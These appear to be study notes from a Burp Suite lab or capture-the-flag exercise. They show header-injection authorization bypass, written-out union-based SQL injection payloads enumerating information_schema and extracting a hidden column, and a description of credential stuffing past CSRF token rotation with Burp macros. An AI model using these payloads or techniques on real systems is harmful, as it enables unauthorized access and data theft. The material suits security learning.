Burp Suite

Browser <> Burp Proxy <> Web Server

Browser needs to route through it: 127.0.0.1:8080. FoxyProxy handles the toggle. For HTTPS, grab Burp's CA cert from http://burp/cert and install it, otherwise encrypted traffic stays encrypted and you're watching nothing. There's also a built-in Chromium browser under Proxy → Open Browser that comes pre-configured if you don't want to mess with FoxyProxy.

The tools that actually matter for hands-on work: Proxy, Repeater, Intruder.

Header Injection

Captured a GET request to /, sent it to Repeater (Ctrl + R), and added one header:

FlagAuthorised: True

That was it. Flag returned. The app was making an authorization decision based on a header the client controls. Zero verification, no server-side check. Just old fashioned blind trust.

Union-Based SQLi via Repeater

Target: /about/{id}. It takes numeric IDs. Let's see what happens when it doesn't get one:

GET /about/2'

HTTP 500 Internal Server Error, and the server handed over the query:

SELECT firstName, lastName, pfpLink, role, bio FROM people WHERE id = 2'

Five columns, table name, all of it. Verbose errors are a gift.

Five columns means the UNION needs five slots. Using /0 instead of /2 suppresses the original row so only injected output comes back:

/about/0 UNION ALL SELECT group_concat(column_name),null,null,null,null
FROM information_schema.columns
WHERE table_name="people"

Columns: id, firstName, lastName, pfpLink, role, shortRole, bio, notes

notes is the interesting one:

/about/0 UNION ALL SELECT notes,null,null,null,null
FROM people
WHERE id = 1

Flag retrieved. The chain: verbose error → schema exposure → column enumeration → targeted extraction. Each step used what the previous one leaked.

Intruder: Burp Macros + CSRF Brute Force

Used Burp Macros to automate credential stuffing against a login protected by CSRF token rotation. The macro fetches a fresh token and session cookie before each Intruder request so the attack stays valid across the rotation.